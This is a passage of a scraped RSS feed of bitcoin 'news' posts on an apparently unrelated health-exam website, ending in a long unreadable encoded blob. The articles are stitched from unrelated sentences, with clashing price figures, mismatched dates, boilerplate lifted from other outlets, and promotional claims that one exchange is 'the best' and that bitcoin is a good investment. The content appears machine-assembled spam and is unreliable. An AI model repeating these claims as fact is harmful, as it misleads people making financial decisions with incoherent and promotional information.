Digital Currency Group, which invests in cryptocurrencies and blockchain startups. Cryptocurrencies have few metrices available that allow for forecasting, if only because it is rumored that only few cryptocurrency holders own a large portion of available supply. These large holders – referred to as “whales” – are said to make up of two percent of anonymous ownership accounts, whilst owning roughly 92 percent of BTC.</p>
<div style='border: black dotted 1px;padding: 15px;'>
<h3>Here&#8217;s Why Cardano Is the Next Bitcoin &#8211; Motley Fool</h3>
<p>Here&#8217;s Why Cardano Is the Next Bitcoin.</p>
<p>Posted: Wed, 17 Nov 2021 08:00:00 GMT [<a href='https://www.fool.com/investing/2021/11/17/heres-why-cardano-is-the-next-bitcoin/' rel="nofollow">source</a>]</p>
</div>
<p>The world&#8217;s largest bitcoin and cryptocurrency exchange by volume, Binance, has said &#8222;de-listed&#8220; Bitcoin SV, striking it from the exchange as of April 22 as it no longer meets the high level of standard they expect. Elsewhere, the exchange ShapeShift said it will delist bitcoin SV too and another exchange, Kraken, is polling its users on whether to continue supporting the cryptocurrency. The owner of the New York Stock Exchange launched its long-delayed market for Bitcoin futures. ICE Futures U.S., one of the world&#8217;s largest commodities markets, offer Bakkt Daily and Monthly Bitcoin Futures, the first physically delivered crypto-currency futures contracts ever traded on a federally regulated exchange. UNICEF will now be able to receive, hold and disburse donations of cryptocurrencies ether and bitcoin, through its newly-established UNICEF Cryptocurrency Fund.</p>
<h2 id="toc-3">Research Suggest Bitcoin Price Rally In 2017 December Was Manipulated</h2>
<p>The first time Bitcoin actually gained value was on October 12, 2009 when Martti Malmi, a Finnish developer that helped Satoshi work on Bitcoin, sold 5050 Bitcoins for $5.02. Bitcoin prices are still up a staggering 680% over the past year, hitting a latest high above $61,000 on March 13. Bitcoin prices, however, are still up nearly 700% over the past year. The author and FXStreet are not registered investment advisors and nothing in this article is intended to be investment advice. The resulting uptrend will likely propel Bitcoin price to a new all-time high at $100,000. However, if Bitcoin price decides to skip the crash and produces a weekly close above the current all-time high at $69,000, then it will invalidate the bullish thesis. A negative value represents that short-term holders are selling and is often referred to as the “opportunity zone.” This is where mid-to-long-term holders accumulate. So, there is a chance that BTC might see a potential buying spree that pushes it to retest the 21-week SMA at $51,776 or reach for the $57,845 resistance barrier, in a highly bullish case. While this outlook is speculative, it would make sense for BTC, especially from a market makers’ perspective due to the supply resting below the multiple wicks present around the $30,000 psychological level. In total, this move would represent a 36% crash from the current position.</p>
<p>Federal agents have seized millions of dollars worth of bitcoin that terrorist organizations were using to carry out their violent campaigns according to the US Department of Justice. Binance&#8217;s CEO Changpeng &#8222;CZ&#8220; Zhao has moved toblacklist the stolen fundsfrom his exchange, stating users should &#8222;beware of this Electrum official update.&#8220; Cryptocurrency exchange Kucoin has been hacked for $150 million in bitcoin and multiple ERC20 tokens. Through partially-owned subsidiary New York Digital Investment Group , Stone Ridge Holdings Group has accumulated 10,000 bitcoin, valued at approximately $115 million at the time of the news reported by Forbes.</p>
<p>Investors should compare these metrics across other projects in the same sector and draw their conclusions. These metrics are available on CoinGecko and should be used as a starting point for initial research before going deep into other more project-specific metrics. The crypto space is not just a place to make a quick profit, because there needs to be plenty of research and due diligence before jumping in. One should not simply listen to hearsay, but spend the time reading up on the project fundamentals like whitepapers and project use cases before purchasing any cryptocurrencies. Based in Kuala Lumpur, the service was launched seven years ago to provide fundamental analysis of the crypto market. Buying cryptocurrency such as Bitcoin doesn’t have to be difficult at all! We have a buying guide with simple step-by-step instructions to buy cryptocurrency directly with your bank card. As with all currencies, the value depends on supply and demand.</p>
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<h2>Can Bitcoin fail?</h2>
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<p>Even with the pandemic, there are now more than 11,000 cryptocurrencies in existence, up from about 6,000 in 2020, according to the website CoinMarketCap. “Nothing is too big to fail,” says Niederhoffer, a former neuroscientist, “but I suspect Bitcoin&#8217;s biggest critics have never used it to perform a transaction.</p>
</div></div>
</div>
<p>Note that bitcoin markets don&#8217;t &#8222;close&#8220; in the sense that a stock market might. On top of reporting differences, different exchanges may have different bitcoin prices for each date. Also, bitcoin can be extremely volatile intraday; note that the prices internal to our tool may be 10% – or more – different than the prices paid by some market participants in the same 24-hour period. Find out how much your bitcoins are worth, or compare prices, and check market cap.</p>
<ul>
<li>As the market valuation of the total stock of bitcoins approached US$1 billion, some commentators called bitcoin prices a bubble.</li>
<li>Normally, the graph starts at the launch of the asset, but it is possible to select specific to and from dates to customize the chart to your own needs.</li>
<li>In October 2012, BitPay reported having over 1,000 merchants accepting bitcoin under its payment processing service.</li>
<li>Whether Bitcoin can repeat its previous highs remains to be seen.</li>
<li>Other experts point out Bitcoin has value because people give it value.</li>
</ul>
]]></content:encoded>
					
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		<title>Converter 1 Btc To Usd Bitcoin To Us Dollar</title>
		<link>https://heilpraktiker-pruefung.com/converter-1-btc-to-usd-bitcoin-to-us-dollar-2/</link>
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		<dc:creator><![CDATA[healthcarepruef]]></dc:creator>
		<pubDate>Tue, 02 Nov 2021 10:15:05 +0000</pubDate>
				<category><![CDATA[Bitcoin News]]></category>
		<guid isPermaLink="false">https://heilpraktiker-pruefung.com/?p=1787</guid>

					<description><![CDATA[Warren Buffett and Charlie Munger called out stock-market gamblers, dismissed bitcoin as worthless, and underlined the risks of inflation. Yuga Labs raised $320 million in ApeCoin over the weekend for its sale of digital land plot NFT&#8217;s, and high demand crashed the ethereum network. Changes to the CRO Card rewards program will &#8222;ensure long-term sustainability,&#8220; [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>Warren Buffett and Charlie Munger called out stock-market gamblers, dismissed bitcoin as worthless, and underlined the risks of inflation. Yuga Labs raised $320 million in ApeCoin over the weekend for its sale of digital land plot NFT&#8217;s, and high demand crashed the ethereum network. Changes to the CRO Card rewards program will &#8222;ensure long-term sustainability,&#8220; the crypto exchange said Sunday. The Xe Rate Alerts will let you know when the rate you need is triggered on your selected currency pairs. There are several differences between a blockchain and a database, including the level of control.</p>
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<p lang="en" dir="ltr">New <a href="https://twitter.com/hashtag/Bitcoin?src=hash&amp;ref_src=twsrc%5Etfw">#Bitcoin</a> forecast for the period from 05.03.22 to 05.10.22. What is your guess for the 05.10.22? </p>
<p>Visit <a href="https://t.co/xoMSPPKKZK">https://t.co/xoMSPPKKZK</a> for daily and weekly <a href="https://twitter.com/hashtag/Bitcoin?src=hash&amp;ref_src=twsrc%5Etfw">#Bitcoin</a> forecasts. <a href="https://twitter.com/hashtag/Cryptocurrency?src=hash&amp;ref_src=twsrc%5Etfw">#Cryptocurrency</a> <a href="https://twitter.com/hashtag/Crypto?src=hash&amp;ref_src=twsrc%5Etfw">#Crypto</a> <a href="https://twitter.com/hashtag/Trading?src=hash&amp;ref_src=twsrc%5Etfw">#Trading</a> <a href="https://t.co/uaWD3pyMzU">pic.twitter.com/uaWD3pyMzU</a></p>
<p>&mdash; Bitcoin-Forecast.org (@AiCoinForecast) <a href="https://twitter.com/AiCoinForecast/status/1521452023656468481?ref_src=twsrc%5Etfw">May 3, 2022</a></p></blockquote>
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<p>You’ll also be required to provide a bank account, an electronic payment service like PayPal, or both . The currency calculator of Markets Insider is the ideal tool for you. Live tracking and notifications + flexible delivery and payment options. To convert Bitcoin to US Dollar, type currency.world/convert/BTC/USD. You can also press $ or € on your keyboard, or start typing a currency name, currency code or country name to change currency. The year 2021 has been a whirlwind for the flagship cryptocurrency, Bitcoin. The pairing, BTCUSD started the year with strong momentum, having already broken above the 2017 highs. The bullish pressure sustained for the entire first quarter of 2021, and Bitcoin managed to print its all-time high of around $65,000. A rate hike would pressure the BTCUSD price lower, while any rate cut would provide tailwinds for the crypto pair.</p>
<h2>Cryptocurrency Trading</h2>
<p>Every record included the hashes of previous records’ certificates. Additionally, the system used private keys or digital signatures to sign the document. Consequently, we can see the market spread — the difference between the lowest bid price and the highest ask price. And high liquidity means fast execution of even large-volume trading orders. Mobile App Buy, sell, earn and exchange crypto anywhere and anytime. Because bitcoin cash initially drew its value from bitcoin&#8217;s market cap, it caused bitcoin&#8217;s value to drop by an amount proportional to its adoption on launch. The new software has all the history of the old platform; however, bitcoin cash blocks have a capacity 8 megabytes.<br />
Overall, Bitcoin is considered a highly speculative and risky asset compared to conventional investments. While there is no guarantee you will get any of your money back, Bitcoin has become the most valuable and commonly held among the thousands of cryptocurrencies that have since been created. As the first cryptocurrency, Bitcoin has the longest record for investors to consider. The potential reward comes with higher risk, so make sure any investment in Bitcoin is included in your broader portfolio’s riskier, more aggressive allocation. While a company can issue more stock options, there will only ever be 21 million Bitcoins. So even if the value of the dollar plummets, Bitcoin, like gold, will retain a separate value in theory.</p>
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<li>The billionaire investors touched on Robinhood, reflected on the pandemic, and emphasized the risks of speaking up about political issues.</li>
<li>Some local regulations require platforms to obtain special licenses in their country while others are not crypto-friendly at all.</li>
<li>Mainly, crypto transactions are highly secured with hashing algorithms, simple in use, and are not regulated by a single entity .</li>
<li>There are several ways to verify that a bitcoin conversion site is safe.</li>
<li>What you should do next is just select the currencies from the drop-down list and click Exchange Now button.</li>
</ul>
<p>In the future, as digital currency markets in other currencies mature, BitPay will use those markets directly. Alternatively, you can choose a specific source from the settings menu. Don’t be afraid to reach out to customer support if you’re having trouble depositing your bitcoins. Service fees change over time, so be sure to check the service’s terms and fee schedule. News Corp is a global, diversified media and information services company focused on creating and distributing authoritative and engaging content and other products and services. Currencies have existed for several millennia; they arose primarily as a replacement for the ineffective barter trade. The functions that a currency took on were essential to the development of an efficient economy with division of labor. While institutional money is a major positive for cryptocurrencies, the launch of a Bitcoin ETF would go a long way in rubberstamping its legitimacy.<br />
The specific mechanism by which you deposit your bitcoins will vary depending on how your bitcoins are currently stored. Typically, depositing your bitcoins is as easy as clicking “Deposit bitcoins” near the top of the marketplace’s home page. Any of the excellent strategies you’re using for forex trading will also work when trading BTC/USD. One very excellent strategy uses the On-Balance Volume indicator to trade Bitcoin. This indicator uses a combination of price action and trading volume to analyze the market. Originally developed for the stock markets it has also been used successfully in forex trading.</p>
<h2>Exchange</h2>
<p>The price of conversion is the current exchange rate based on the CEX.IO Bitcoin last price. The markup is then calculated for that specific period of time, which would be the exchange rate into US Dollars. The conversion rates of digital currency are provided by decentralized agents such as Rubix. Compare the rates offered by different conversion services and choose the best one. Even when the average bitcoin conversion rate improves, different conversion services offer different conversion rates.</p>
<p>At the core of cryptocurrencies is the blockchain technology hat serves a secure and accurate public ledger of all transactions. By design, there will only ever be 21 million bitcoins, and as of the beginning of 2020, more than 85% of this amount had already been mined. Many exchanges let you to leave your investment within your account, which is easiest for most beginners. But if you want to further secure your digital assets, you can transfer them into a hot or cold wallet. There was a multitude of factors that created a perfect storm for BTCUSD during the year.</p>
<h2>What Bitcoin Investors Should Know</h2>
<p>This currency converter can convert between several currencies simultaneously. Laws and regulations for foreign exchange should be amended if needed to cover crypto alongside traditional assets, the global stability watchdog said. These percentages show how much the exchange rate has fluctuated over the last 30 and 90-day periods. You can use Bitcoin to send money to anyone via the Internet with no middleman. See the Bitcoin exchange rate i.e. the current value of one bitcoin. CryptoExMart.com is currently the best exchange to buy or sell bitcoins all across America and Europe. Like all currencies, the conversion rate for bitcoins fluctuates regularly.</p>
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<h2>Is Bitcoin a good investment?</h2>
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<p>The high liquidity associated with bitcoin makes it a great investment vessel if you&#8217;re looking for short-term profit. Digital currencies may also be a long-term investment due to their high market demand. Lower inflation risk.</p>
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<p>These are digitised US Dollars and are always purchased and redeemed at 1 BUSD for 1 US dollar. Beyond fundamentals, BTCUSD also has an interesting technical picture worth a look at. At just above $30,000, Bitcoin has already done a 50% retracement off its all-time highs, with that level also being a 1.618 Fibonacci extension of the previous cycle that peaked in late 2017. The price has also been consolidating in the $30,000-$40,000 price range for a while now, and it is only a bit realistic to anticipate a breakout soon. Volatility will likely come sooner rather than later in either direction. Please be informed that on Tuesday, May 3rd, deposits and withdrawals via bank transfer will be unavailable. At NextAdvisor we’re firm believers in transparency and editorial independence.</p>
<h2>Notes &#038; Data Providers</h2>
<p>This has partly been observed when Bitcoin retraced during the start of 2021. But after the 2017 rally, BTC then began a retracement and remained trapped below $10,000 for most of 2018 and 2019. There was cooling interest in cryptocurrencies in general, with traditional investments, such as stocks, proving to be more lucrative and safer as well. The year 2017 looked like a bubble, and the characteristic of cryptocurrencies as stores of value seemed to be largely an illusion. At AvaTrade, you can trade the most popular Bitcoin pair in a safe environment with low margin requirements, competitive spreads, and zero fees, all on an intuitive and robust trading platform. Visit Buy Bitcoin Worldwide for user reviews on some of the above exchanges, or Cryptoradar for comparisons based on prices, fees and features. We are thrilled to announce becoming the first European cryptocurrency exchange that was granted regulatory approval to operate in Canada. © 2022 NextAdvisor, LLC A Red Ventures Company All Rights Reserved. Use of this site constitutes acceptance of our Terms of Use, Privacy Policy and California Do Not Sell My Personal Information.<br />
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